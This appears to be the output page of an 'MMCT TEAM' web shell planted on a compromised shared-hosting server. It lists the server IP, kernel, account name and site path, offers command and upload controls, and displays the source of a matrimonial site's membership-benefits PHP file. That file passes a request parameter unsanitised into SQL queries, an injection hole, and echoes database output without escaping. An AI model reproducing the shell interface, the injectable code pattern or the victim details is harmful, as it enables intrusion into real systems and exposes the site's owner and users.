MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.128.31.227
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/vivahmilankendra.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/vivahmilankendra.com/load-benefits.php
<?php 
ob_start();
require_once("includes/dbsmain.inc.php"); 
include("site-main-query.php");
?>
<?php
$memID=$_REQUEST['memID'];
$memshipName=db_scalar("SELECT mem_name FROM tbl_membership WHERE mem_id='$memID'");

#PRICE
$memshipPrice=db_scalar("SELECT md_price FROM tbl_membership_detail WHERE md_mem_id='$memID' ORDER BY md_price DESC LIMIT 1");
?>
<div class="col-sm-12 membership-name"><?=$memshipName?> Benefits</div>
<div class="clearfix"></div>
<?php
$sql="SELECT * FROM tbl_membership_benefit WHERE b_status='Active' AND b_mem_id='$memID' ";
$dataBenefits=db_query($sql);
$countBenefits=mysqli_num_rows($dataBenefits);

if($countBenefits){
?>
<ul class="membership-benefit-list">
<?
while($recBenefits=mysqli_fetch_array($dataBenefits)){
?>

<li <?php if($recBenefits['b_is_ok']=="No"){?> class="benefit-no"<?php }?>  >


<?php if($recBenefits['b_is_ok']=="Yes"){?>
<i class="fa fa-check mr5 ml5" aria-hidden="true"></i>
<?php }else{?>
<i class="fa fa-times mr5 ml5" aria-hidden="true"></i>
<?php }?>

<?=$recBenefits['b_description']?>
</li>
<?php	
}	
?>
</ul>
<?php
}
?>
<div class="col-sm-12 btn btn-default" id="btn-pay"><i class="fa fa-inr"></i> <?=$memshipPrice?> | Upgrade</div>

MMCT - 2023